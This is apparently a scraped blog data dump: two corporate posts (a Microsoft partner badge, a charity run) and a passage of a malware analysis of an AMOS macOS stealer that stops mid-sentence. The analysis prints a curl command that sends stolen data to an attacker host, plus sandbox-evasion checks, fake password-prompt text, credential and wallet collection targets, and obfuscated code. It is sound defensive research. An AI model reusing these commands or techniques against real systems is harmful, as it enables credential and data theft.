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It cannot be applied for but is awarded on Microsoft's own initiative to an exclusive circle of partners who have to prove themselves in several disciplines in parallel, rather than shine in a single one. Microsoft examines demonstrated capability across Cloud & AI Platforms, AI Business Solutions, and Security in equal measure, and in doing so addresses companies that do not treat AI as an add-on to existing IT but as the outcome of an end-to-end architecture that holds from identity through the endpoint all the way into productive AI operations.",[810,811,813],"h2",{"id":812},"what-microsoft-examines-with-the-badge","What Microsoft examines with the badge",[806,815,816],{},"{: .h3-font-size}",[806,818,819],{},"For the Frontier Partner Badge, Microsoft does not examine a single discipline in isolation but a chain in which the cloud platform, the AI application, and security are mutually dependent. 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Data and identity architecture are not separate topics in this model but part of each of these disciplines, and it is precisely there that most AI initiatives in companies fail when the foundation beneath does not hold.",[810,821,823],{"id":822},"what-the-badge-rests-on-with-us","What the badge rests on with us",[806,825,816],{},[806,827,828],{},"We have been building for years in the order in which Microsoft examines: first the foundation on which everything rests, then the workloads that run on top, and finally the intelligence that moves into those workloads. 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In practice, this shifts the conversations between partner, customer, and Microsoft onto a different level, because Frontier Partners sit closer to Microsoft's roadmap and are addressed directly for pilot programs and early releases, while Microsoft account teams bring them in for co-engagements whenever a customer needs technical viability for an AI initiative. At the same time, the recognized partners remain under permanent re-qualification pressure, because those qualifying this year have to qualify again next year, and the requirements catalogue itself shifts from year to year. There is no grandfathering.",{"title":863,"searchDepth":864,"depth":864,"links":865},"",2,[866,867,868],{"id":812,"depth":864,"text":813},{"id":822,"depth":864,"text":823},{"id":855,"depth":864,"text":856},"md","post",{"lang":872,"seoTitle":873,"titleClass":874,"date":875,"categories":876,"blogtitlepic":878,"socialimg":879,"customExcerpt":880,"keywords":881,"contactInContent":882,"hreflang":952,"published":508,"scripts":958},"en","Microsoft Frontier Partner Badge: glueckkanja qualified","h2-font-size","2026-06-26",[877],"Corporate","head-frontier-partner-badge.jpg","/blog/heads/head-frontier-partner-badge.jpg","Microsoft has recently introduced a new top-tier recognition within its AI Cloud Partner Program: the Frontier Partner Badge. It is awarded exclusively to a select circle of partners worldwide who have demonstrated in practice that they can deliver AI projects across the entire Microsoft stack, from workplace and cloud platform to security and the AI application itself. In DACH, only a handful of companies belong to this group, and we are one of them.","Frontier Partner, Microsoft Frontier Partner Badge, Microsoft AI Cloud Partner Program, Solutions Partner Designation, Specialization Copilot, Specialization AI Apps, Specialization Data Security, Microsoft Partner Germany, Microsoft AI Solutions Partner, glueckkanja Microsoft Partner, Copilot Solutions Partner, Modern Work, Security Solutions Partner, Microsoft Partner Center",{"quote":508,"infos":883},{"bgColor":884,"color":885,"boxBgColor":761,"boxColor":885,"headline":886,"subline":887,"level":810,"textStyling":888,"flush":889,"person":890,"form":905},"var(--color-gk-dark-blue)","var(--color-gk-white)","Get in touch","Planning AI initiatives on the Microsoft stack and want to know what the Frontier Badge means in practice for your environment? Talk to us. We'll walk through where you stand today and what makes sense as the next step.","text-light","justify-content-end",{"image":891,"cloudinary":508,"alt":892,"name":893,"quotee":893,"quoteeTitle":894,"quote":895,"detailsHeader":896,"details":897},"/people/at-andreas-hoetzinger.png","Andreas Hötzinger, Head of Partner Alliances","Andreas Hötzinger","Head of Partner Alliances","Microsoft deliberately set the bar high with the Frontier Partner Badge. Those who get through have delivered across multiple disciplines, not just one. For customers, that's the shortest answer in the selection process to the question of who can make AI work in the Microsoft stack.","We look forward\u003Cbr />to hearing from you.",[898,902],{"text":762,"href":899,"details":900,"icon":901},"tel:+49 69 4005520","Call now","site/phone",{"text":763,"href":903,"icon":904},"mailto:info@glueckkanja.com","site/mail",{"ctaText":906,"cta":907,"method":870,"action":909,"fields":910},"Submit",{"skin":908},"primary on-surface","/send",[911,915,920,923,927,932,937,939,942,945,948,950],{"type":912,"id":913,"value":914},"hidden","_next","successful",{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},"Name*","text","name","Please enter your name.",{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},"Company*","Please enter your company.",{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},"Email address*","email","Please enter your email address.",{"label":928,"type":929,"id":930,"required":749,"requiredMsg":931},"Your message to us","textarea","message","Please enter a message.",{"label":933,"type":934,"id":935,"required":508,"requiredMsg":936},"Your data will be stored and used to process your request. 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Kilometers for a Good Cause",[1250],{"type":803,"value":1393,"toc":1459},[1394,1397,1401,1403,1413,1417,1419,1428,1431,1437,1441,1443,1446,1453,1456],[806,1395,1396],{},"Sunday morning, 8:30 am, Holbeinsteg on the Main. Eleven colleagues in matching NinjaCat shirts, ready for the Frankfurter Runden. Rain, lightning, and thunder included. Running for a good cause turned out to be all the motivation anyone needed to lace up despite the weather.",[810,1398,1400],{"id":1399},"frankfurt-runs-and-runs-and-runs","Frankfurt runs. And runs. And runs.",[806,1402,816],{},[806,1404,1405,1406,1412],{},"The Frankfurter Runden is a community running event along a 10-kilometer route on the banks of the Main, past the ECB and Hafenpark, with the Frankfurt skyline as a backdrop. What makes it different: participants decide mid-race how many laps they want to run. One to four laps, so anywhere from 10 to 40 kilometers. After each lap, the choice is yours: head for the finish line or keep going. glueckkanja gave its team an extra reason to push on: for every lap completed, glueckkanja donates to ",[833,1407,1411],{"href":1408,"rel":1409},"https://vairein.de/",[1410],"nofollow","VAIR e.V."," in Offenbach, specifically to the Vairplay project.",[810,1414,1416],{"id":1415},"a-park-for-everyone-right-in-the-heart-of-offenbach","A park for everyone, right in the heart of Offenbach",[806,1418,816],{},[806,1420,1421,1422,1427],{},"VAIR e.V. is building ",[833,1423,1426],{"href":1424,"rel":1425},"https://www.vairplay-of.de/",[1410],"Vairplay"," beneath the Kaiserlei Bridge: the city's first publicly accessible, inclusive sports and cultural park. On a previously neglected stretch of around 10,000 square meters, the plan is to create a space where sport, movement, and culture come together, barrier-free, open to all ages, with tiered stages for events and concerts.",[806,1429,1430],{},"Zijad Doličanin, chair of VAIR e.V., sees it as a place where people can come together, connect, and experience a sense of community, where social and cultural boundaries are crossed and regional ties are strengthened. A gathering place for a city known for its diverse and vibrant community. glueckkanja is an Offenbach company through and through, this is where everything started, many colleagues come from the area, and for us, social responsibility begins where we belong.\npany. This is where it all started, many colleagues come from the region, and for us, social engagement begins where we are rooted.",[1432,1433],"quotes",{":quotes":1434,":no-fullscreen":1435,"spacing":1436},"quoteZijad","true","mb-10",[810,1438,1440],{"id":1439},"_16-laps-one-podium-a-lot-of-cheering","16 laps, one podium, a lot of cheering",[806,1442,816],{},[806,1444,1445],{},"Shortly after the start, the first storm front rolled in over Frankfurt. Heavy rain, lightning, thunder, and a bit of wind. For a moment, people on the course wondered whether the event might be called off. It wasn't. So everyone kept going. The spectators along the Main cheered throughout, which is exactly what you need when you're soaked and on your second lap.",[806,1447,1448],{},[1449,1450],"img",{"alt":1451,"src":1452},"Frankfurter Runden with our NinjaCat","https://res.cloudinary.com/c4a8/image/upload/blog/pics/frankfurter-runden.jpg",[806,1454,1455],{},"The team pushed each other along too, and it showed. By the end of the morning, the glueckkanja crew had completed 16 laps in total. Eight colleagues ran one lap, two went for two. And then there was Lisa, who finished her first lap and just kept running. Then finished her second and kept going again. 30 kilometers, a time of 2:18:50, second place in the overall women's standings, first place in her age group. The team stayed until the very end of the awards ceremony and cheered every second of it.",[806,1457,1458],{},"160 kilometers came together that morning, one after another, in the rain, and every single one of them goes toward a park that Offenbach doesn't have yet. The team will be back in 2027, rain or shine.",{"title":863,"searchDepth":864,"depth":864,"links":1460},[1461,1462,1463],{"id":1399,"depth":864,"text":1400},{"id":1415,"depth":864,"text":1416},{"id":1439,"depth":864,"text":1440},{"lang":872,"seoTitle":1465,"titleClass":874,"date":1466,"categories":1467,"blogtitlepic":1468,"socialimg":1469,"customExcerpt":1470,"keywords":1471,"hreflang":1472,"scripts":1477,"quoteZijad":1478},"Frankfurter Runden 2026: glueckkanja runs 160 kilometers for VAIR e.V. Offenbach","2026-06-08",[877],"frankfurter-runden.png","/heads/frankfurter-runden.png","Eleven colleagues, 16 laps, 160 kilometers, a thunderstorm, and a podium finish: glueckkanja took part in the Frankfurter Runden 2026 and donated to VAIR e.V. for every lap completed, supporting an inclusive sports and cultural park in Offenbach.","Frankfurter Runden, charity run Frankfurt, CSR IT company, social engagement Offenbach, team building Offenbach, top employer Rhine-Main, Vairein Offenbach, VAIR e.V. Offenbach, Vairplay Offenbach, glueckkanja Offenbach, employer branding IT, company culture IT, IT company Offenbach, community sports Frankfurt, inclusive park Offenbach, working at glueckkanja",[1473,1475],{"lang":4,"href":1474},"/de/posts/2026-06-09-vair-run",{"lang":956,"href":1476},"/es/posts/2026-06-09-vair-run",{"slick":508,"form":508},{"items":1479},[1480],{"text":1481,"name":1482,"company":1483,"alt":1482},"The engagement of local companies sends an important signal of social responsibility and lived connection to the region. Partnerships like these make sustainable projects possible, create value for the community, and show what we can achieve together.","Zijad Doličanin","Chairman VAIR e.V.","/posts/2026-06-09-vair-run",{"title":1390,"description":1396},"posts/2026-06-09-vair-run",[1488,1489,1490],"Top Employer","Employer Branding","Social Engagement","r3PxU50mOdyPcbeejQRCJlk31Lv-9msKWUMHcMTByQE",{"id":1493,"title":1494,"author":1495,"body":1496,"cta":764,"description":1500,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":3645,"moment":3647,"navigation":508,"path":3703,"seo":3704,"stem":3705,"tags":3706,"webcast":749,"__hash__":3712},"content_en/posts/2026-04-10-incident-to-intelligence.md","Anatomy of an Unknown AMOS Stealer: From Alert to Immunity in Hours",[1231],{"type":803,"value":1497,"toc":3609},[1498,1501,1504,1507,1510,1515,1517,1520,1523,1525,1529,1532,1535,1548,1551,1554,1562,1565,1569,1571,1574,1596,1599,1607,1610,1618,1625,1629,1631,1634,1642,1657,1661,1663,1666,1671,1674,1682,1686,1688,1696,1700,1702,1705,1709,1711,1714,1722,1726,1728,1736,1739,1837,1840,1870,1872,1876,1878,1885,1888,1892,1894,1978,1982,1984,1995,2002,2076,2087,2094,2098,2100,2165,2169,2171,2178,2180,2184,2186,2193,2219,2406,2409,2417,2428,2431,2439,2453,2466,2468,2472,2474,2492,2514,2704,2707,2715,2718,2721,2723,2727,2729,2732,2811,2814,2833,2912,2915,2917,2921,2923,2926,2933,2988,2991,2999,3002,3004,3008,3010,3017,3030,3078,3089,3128,3137,3152,3155,3157,3161,3163,3170,3173,3181,3184,3192,3206,3209,3211,3215,3217,3227,3231,3233,3252,3260,3274,3294,3298,3300,3303,3311,3314,3322,3336,3340,3342,3345,3353,3372,3378,3382,3384,3392,3398,3405,3409,3411,3419,3423,3425,3428,3436,3439,3443,3445,3453,3457,3459,3467,3471,3473,3481,3485,3487,3495,3516,3521,3523,3527,3529,3536,3553,3556,3569,3571,3575,3577,3580,3583,3586,3588,3605],[806,1499,1500],{},"When an alert fires in our SOC, the clock starts. But not just for the affected customer, for every customer we protect. In the modern threat landscape, the most dangerous moment for any organization is the intelligence gap: that window of time between a new malware variant being deployed and the rest of the world finding out it exists.",[806,1502,1503],{},"For a standalone security team, this gap is a period of extreme vulnerability. You are essentially waiting for a vendor update or a public signature feed that hasn't been written yet. But for our customers, that gap is closed by the power of our inhouse developed Shared Threat Intelligence.",[806,1505,1506],{},"This blogpost is the technical breakdown of how we dismantled a previously undocumented AMOS (Atomic macOS Stealer) variant. It's a story of moving from a single compromised endpoint to rapid deployment of detection and blocking capabilities across customer environments.",[1508,1509],"hr",{},[1511,1512,1514],"h1",{"id":1513},"the-incident-a-unknown-ioc-scenario","The Incident: A unknown IOC Scenario",[806,1516,816],{},[806,1518,1519],{},"The alert arrived on March 12, 2026 at 06:25 local time. A macOS endpoint had been compromised. By the time our SOC began analysing the artefacts, we were looking at a situation every threat analyst dreads: No known file hashes, C2 IP addresses, or meaningful behavioral signatures existed in public databases at the time of detection.",[806,1521,1522],{},"The full architecture of the attack only became clear during the subsequent deep-dive analysis. We discovered that the infection relied on a 15.7 MB macOS Universal Binary (x86_64 and ARM64) dropped at /private/tmp/helper. This sample was not readily available on the system; our team had to reconstruct the infection chain and simulate the original delivery request to manually retrieve the binary from the attacker's infrastructure.",[1508,1524],{},[810,1526,1528],{"id":1527},"stage-1-sandbox-checks","Stage 1: Sandbox checks",[806,1530,1531],{},"{: .h4-font-size}",[806,1533,1534],{},"Before the malicious stealer itself was executed on the machine, an Apple Script payload had already executed. Every string in it, every file path, every shell command, every URL, was encoded using three custom arithmetic functions:",[1536,1537,1539],"div",{"style":1538},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[1540,1541,1545],"pre",{"className":1542,"code":1544,"language":917},[1543],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[1546,1547,1544],"code",{"__ignoreMap":863},[806,1549,1550],{},"None of the strings appear anywhere in plaintext. What looked like meaningless integer arrays at first glance decoded, once we had reversed the encoding scheme, to a complete, fully operational data theft and exfiltration framework.",[806,1552,1553],{},"We decoded every array in the script statically. The results were unambiguous:",[1536,1555,1556],{"style":1538},[1540,1557,1560],{"className":1558,"code":1559,"language":917},[1543],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[1546,1561,1559],{"__ignoreMap":863},[806,1563,1564],{},"The download URL was deliberately crafted to impersonate a legitimate n8n workflow automation update, a tool commonly used by developers and DevOps engineers. This is not a random choice. It signals a targeted campaign aimed at technically sophisticated users, not generic end users who might install cracked software.",[810,1566,1568],{"id":1567},"the-anti-sandbox-check","The Anti-Sandbox Check",[806,1570,1531],{},[806,1572,1573],{},"Before any download occurred, the script ran a dedicated VM and sandbox detection routine. We also recovered a standalone anti-sandbox script from the incident artefacts:",[1536,1575,1576],{"style":1538},[1540,1577,1581],{"className":1578,"code":1579,"language":1580,"meta":863,"style":863},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[1546,1582,1583,1591],{"__ignoreMap":863},[1584,1585,1588],"span",{"class":1586,"line":1587},"line",1,[1584,1589,1590],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1584,1592,1593],{"class":1586,"line":864},[1584,1594,1595],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[806,1597,1598],{},"The results were then checked against two lists. The first checked for virtualisation markers in memory data:",[1536,1600,1601],{"style":1538},[1540,1602,1605],{"className":1603,"code":1604,"language":917},[1543],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[1546,1606,1604],{"__ignoreMap":863},[806,1608,1609],{},"The second checked hardware identifiers against a set of known analysis machine serial numbers:",[1536,1611,1612],{"style":1538},[1540,1613,1616],{"className":1614,"code":1615,"language":917},[1543],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[1546,1617,1615],{"__ignoreMap":863},[806,1619,1620,1621,1624],{},"If any match was found: ",[1546,1622,1623],{},"exit 100",", complete termination. On a real MacBook Pro with an Apple Silicon chip, all checks pass silently and execution continues. This is a professional-grade sandbox evasion technique, and it was running before a single byte of the binary had been downloaded.",[810,1626,1628],{"id":1627},"simple-but-effective-privilege-escalation-the-fake-password-dialog","Simple but effective privilege escalation: The fake password dialog",[806,1630,1531],{},[806,1632,1633],{},"The decoded script also contained the text used for privilege escalation via social engineering:",[1536,1635,1636],{"style":1538},[1540,1637,1640],{"className":1638,"code":1639,"language":917},[1543],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[1546,1641,1639],{"__ignoreMap":863},[806,1643,1644,1645,1648,1649,1652,1653,1656],{},"This dialog is displayed using a standard macOS ",[1546,1646,1647],{},"display dialog"," call with ",[1546,1650,1651],{},"with hidden answer",", visually indistinguishable from a legitimate macOS authorisation prompt. The entered password was used to invoke ",[1546,1654,1655],{},"login -pf \u003Cusername>",", elevating the process to root before the binary was ever executed.",[810,1658,1660],{"id":1659},"what-the-script-collected","What the Script Collected",[806,1662,1531],{},[806,1664,1665],{},"Once the binary had run, the osascript continued its own collection workflow, targeting every category of sensitive data on the system. We decoded all collection paths and targets:",[1667,1668,1670],"h3",{"id":1669},"browser-data-all-chromium-browsers-safari","Browser data (all Chromium browsers + Safari):",[806,1672,1673],{},"{: .font-size-4}",[1536,1675,1676],{"style":1538},[1540,1677,1680],{"className":1678,"code":1679,"language":917},[1543],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[1546,1681,1679],{"__ignoreMap":863},[1667,1683,1685],{"id":1684},"macos-keychain","macOS Keychain:",[806,1687,1673],{},[1536,1689,1690],{"style":1538},[1540,1691,1694],{"className":1692,"code":1693,"language":917},[1543],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[1546,1695,1693],{"__ignoreMap":863},[1667,1697,1699],{"id":1698},"apple-notes","Apple Notes",[806,1701,1673],{},[806,1703,1704],{},"Complete content exported as HTML with count header",[1667,1706,1708],{"id":1707},"local-files","Local files",[806,1710,1673],{},[806,1712,1713],{},"Desktop and Documents, up to 30 MB, targeting:",[1536,1715,1716],{"style":1538},[1540,1717,1720],{"className":1718,"code":1719,"language":917},[1543],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[1546,1721,1719],{"__ignoreMap":863},[1667,1723,1725],{"id":1724},"cryptocurrency-wallets","Cryptocurrency wallets",[806,1727,1673],{},[806,1729,1730,1731,1735],{},"A hardcoded list of ",[1732,1733,1734],"strong",{},"200+ browser extension IDs"," targeting every major wallet including MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI, and Exodus.",[806,1737,1738],{},"After collection, everything was staged in a randomly-named temporary directory and sent:",[1536,1740,1741],{"style":1538},[1540,1742,1746],{"className":1743,"code":1744,"language":1745,"meta":863,"style":863},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[1546,1747,1748,1782,1808,1825],{"__ignoreMap":863},[1584,1749,1750,1754,1758,1761,1764,1768,1772,1776,1779],{"class":1586,"line":1587},[1584,1751,1753],{"class":1752},"sScJk","ditto",[1584,1755,1757],{"class":1756},"sj4cs"," -c",[1584,1759,1760],{"class":1756}," -k",[1584,1762,1763],{"class":1756}," --sequesterRsrc",[1584,1765,1767],{"class":1766},"szBVR"," \u003C",[1584,1769,1771],{"class":1770},"sZZnC","staging_di",[1584,1773,1775],{"class":1774},"sVt8B","r",[1584,1777,1778],{"class":1766},">",[1584,1780,1781],{"class":1770}," /tmp/out.zip\n",[1584,1783,1784,1787,1790,1793,1796,1799,1802,1805],{"class":1586,"line":864},[1584,1785,1786],{"class":1752},"curl",[1584,1788,1789],{"class":1756}," --connect-timeout",[1584,1791,1792],{"class":1756}," 120",[1584,1794,1795],{"class":1756}," --max-time",[1584,1797,1798],{"class":1756}," 300",[1584,1800,1801],{"class":1756}," -X",[1584,1803,1804],{"class":1770}," POST",[1584,1806,1807],{"class":1756}," \\\n",[1584,1809,1811,1814,1817,1820,1823],{"class":1586,"line":1810},3,[1584,1812,1813],{"class":1756},"  -H",[1584,1815,1816],{"class":1770}," \"user: \u003Cuuid>\"",[1584,1818,1819],{"class":1756}," -H",[1584,1821,1822],{"class":1770}," \"BuildID: \u003Chw_profile>\"",[1584,1824,1807],{"class":1756},[1584,1826,1828,1831,1834],{"class":1586,"line":1827},4,[1584,1829,1830],{"class":1756},"  -F",[1584,1832,1833],{"class":1770}," \"file=@/tmp/out.zip\"",[1584,1835,1836],{"class":1770}," laislivon[.]com/contact\n",[806,1838,1839],{},"Cleanup followed immediately:",[1536,1841,1842],{"style":1538},[1540,1843,1845],{"className":1743,"code":1844,"language":1745,"meta":863,"style":863},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[1546,1846,1847,1864],{"__ignoreMap":863},[1584,1848,1849,1852,1855,1857,1859,1861],{"class":1586,"line":1587},[1584,1850,1851],{"class":1752},"rm",[1584,1853,1854],{"class":1756}," -r",[1584,1856,1767],{"class":1766},[1584,1858,1771],{"class":1770},[1584,1860,1775],{"class":1774},[1584,1862,1863],{"class":1766},">\n",[1584,1865,1866,1868],{"class":1586,"line":864},[1584,1867,1851],{"class":1752},[1584,1869,1781],{"class":1770},[1508,1871],{},[1511,1873,1875],{"id":1874},"stage-2-reverse-engineering-the-helper-binary","Stage 2: Reverse Engineering the 'helper' Binary",[806,1877,816],{},[806,1879,1880,1881,1884],{},"The ",[1546,1882,1883],{},"helper"," binary is where this analysis gets deep. This is a purpose-built, professionally obfuscated macOS executable designed to be as difficult as possible to analyse statically, and it is the part of this investigation that required the most significant reverse engineering effort.",[806,1886,1887],{},"All analysis was performed using Ghidra with our custom ARM64 analysis workflow.",[810,1889,1891],{"id":1890},"file-properties","File Properties",[806,1893,1531],{},[1536,1895,1897],{"style":1896},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[1898,1899,1901,1902,1901,1918],"table",{"style":1900},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[1903,1904,1905,1906,1901],"thead",{},"\n    ",[1907,1908,1909,1910,1909,1915,1905],"tr",{},"\n      ",[1911,1912,1914],"th",{"style":1913},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Property",[1911,1916,1917],{"style":1913},"Value",[1919,1920,1905,1921,1905,1931,1905,1940,1905,1948,1905,1958,1905,1968,1901],"tbody",{},[1907,1922,1909,1923,1909,1928,1905],{},[1924,1925,1927],"td",{"style":1926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1924,1929,1930],{"style":1926},"Mach-O Universal Binary",[1907,1932,1909,1933,1909,1937,1905],{},[1924,1934,1936],{"style":1935},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1924,1938,1939],{"style":1935},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1907,1941,1909,1942,1909,1945,1905],{},[1924,1943,1944],{"style":1926},"Size",[1924,1946,1947],{"style":1926},"15.7 MB",[1907,1949,1909,1950,1909,1953,1905],{},[1924,1951,1952],{"style":1935},"MD5",[1924,1954,1955],{"style":1935},[1546,1956,1957],{},"4599fdf2fa2099b30d8bbf76703dd634",[1907,1959,1909,1960,1909,1963,1905],{},[1924,1961,1962],{"style":1926},"SHA-1",[1924,1964,1965],{"style":1926},[1546,1966,1967],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1907,1969,1909,1970,1909,1973,1905],{},[1924,1971,1972],{"style":1935},"SHA-256",[1924,1974,1975],{"style":1935},[1546,1976,1977],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[810,1979,1981],{"id":1980},"it-starts-before-main","It Starts Before main()",[806,1983,1531],{},[806,1985,1986,1987,1990,1991,1994],{},"The first thing we confirmed in Ghidra was that this binary does not behave like a normal executable. The real entry point is not ",[1546,1988,1989],{},"main()",". It is a function registered in ",[1546,1992,1993],{},"__mod_init_func",", a macOS mechanism that instructs the dynamic linker (dyld) to execute designated functions automatically when the binary is loaded, before any user-visible code runs.",[806,1996,1997,1998,2001],{},"The init function at ",[1546,1999,2000],{},"0x10009f384"," is the true entry point of the malware. We decompiled the output with Ghidra:",[1536,2003,2004],{"style":1538},[2005,2006,2007,2011,2014,2017,2021,2022,2026,2027,2029,2030,2033,2034,2048],"code-block",{},[1584,2008,2010],{"style":2009},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[2012,2013],"br",{},[1584,2015,2016],{"style":2009},"// __mod_init_func registered — executes before main()",[1584,2018,2020],{"style":2019},"color:#d73a49","void"," ",[1584,2023,2025],{"style":2024},"color:#6f42c1","FUN_10009f384","(",[1584,2028,2020],{"style":2019},")\n{\n  ",[1584,2031,2032],{"style":2019},"int"," iVar1;\n",[806,2035,2036,2039,2040,2026,2043,2047],{},[1584,2037,2038],{"style":2009},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1584,2041,2042],{"style":2024},"_usleep",[1584,2044,2046],{"style":2045},"color:#005cc5","0x37e",");",[806,2049,2050,2053,2056,2057,2059,2060,2063,2064,2067,2068,2071,2072,2075],{},[1584,2051,2052],{"style":2009},"// Indirect jump table — 14-state machine",[1584,2054,2055],{"style":2009},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1584,2058,1546],{"style":2019}," _)((",[1584,2061,2062],{"style":2019},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1584,2065,2066],{"style":2045},"4"," + ",[1584,2069,2070],{"style":2045},"0x10009f440","))(iVar1);\n",[1584,2073,2074],{"style":2019},"return",";\n}",[806,2077,2078,2079,2082,2083,2086],{},"Two things are immediately notable. First, the 894-microsecond ",[1546,2080,2081],{},"usleep"," at startup, an anti-sandbox timing signal. Second, and more significantly, the indirect jump table at ",[1546,2084,2085],{},"0x10009f43c",". This is a computed branch where the target address is calculated at runtime from a lookup table. Static analysis tools cannot reconstruct the control flow graph from this, Ghidra itself logs multiple \"unreachable block\" warnings as it tries and fails to trace the execution path. This is deliberate.",[806,2088,2089,2090,2093],{},"The jump table drives a ",[1732,2091,2092],{},"14-state execution machine",". Each state performs one discrete step of the decryption and execution pipeline. The state counter is updated after each step, and the machine loops until all states have executed.",[810,2095,2097],{"id":2096},"the-arm64-disassembly-of-the-state-dispatcher","The ARM64 Disassembly of the State Dispatcher",[806,2099,1531],{},[1536,2101,2102],{"style":1538},[1540,2103,2107],{"className":2104,"code":2105,"language":2106,"meta":863,"style":863},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[1546,2108,2109,2114,2119,2124,2129,2135,2141,2147,2153,2159],{"__ignoreMap":863},[1584,2110,2111],{"class":1586,"line":1587},[1584,2112,2113],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1584,2115,2116],{"class":1586,"line":864},[1584,2117,2118],{},"10009f41c:  mov w0,#0x37e\n",[1584,2120,2121],{"class":1586,"line":1810},[1584,2122,2123],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1584,2125,2126],{"class":1586,"line":1827},[1584,2127,2128],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1584,2130,2132],{"class":1586,"line":2131},5,[1584,2133,2134],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1584,2136,2138],{"class":1586,"line":2137},6,[1584,2139,2140],{},"10009f42c:  mov w8,w25               ; current state index\n",[1584,2142,2144],{"class":1586,"line":2143},7,[1584,2145,2146],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1584,2148,2150],{"class":1586,"line":2149},8,[1584,2151,2152],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1584,2154,2156],{"class":1586,"line":2155},9,[1584,2157,2158],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1584,2160,2162],{"class":1586,"line":2161},10,[1584,2163,2164],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[810,2166,2168],{"id":2167},"six-obfuscation-layers-stacked","Six Obfuscation Layers, Stacked",[806,2170,1531],{},[806,2172,2173,2174,2177],{},"The binary uses six distinct obfuscation layers, stacked and chained so that the output of each feeds the next. Every payload, every string, every internal constant is encoded. Nothing meaningful appears in plaintext anywhere in the ",[1546,2175,2176],{},"__const"," segment. What follows is a complete layer-by-layer breakdown, verified directly in Ghidra, down to the individual ARM64 instructions. While each individual technique used in this binary is known in isolation, their chained application across multiple stages created a highly interdependent execution flow that significantly increased the complexity of static and dynamic analysis.",[1508,2179],{},[1667,2181,2183],{"id":2182},"layer-1-compile-time-triplet-encoding","Layer 1 — Compile-Time Triplet Encoding",[806,2185,1673],{},[806,2187,2188,2189,2192],{},"Every string in the binary is stored not as characters, but as a sequence of 12-byte arithmetic triplets. Each triplet ",[1546,2190,2191],{},"(a, b, shift)"," encodes exactly one output character. The encoding scheme is applied at compile time — meaning no string ever exists as plaintext in the binary, not even transiently during loading.",[806,2194,2195,2196,2199,2200,2203,2204,2207,2208,2199,2211,2214,2215,2218],{},"Two separate decoder functions handle different string sizes. ",[1546,2197,2198],{},"FUN_100087c08"," at ",[1546,2201,2202],{},"0x100087c08"," decodes 60-character strings (720 bytes of input data from 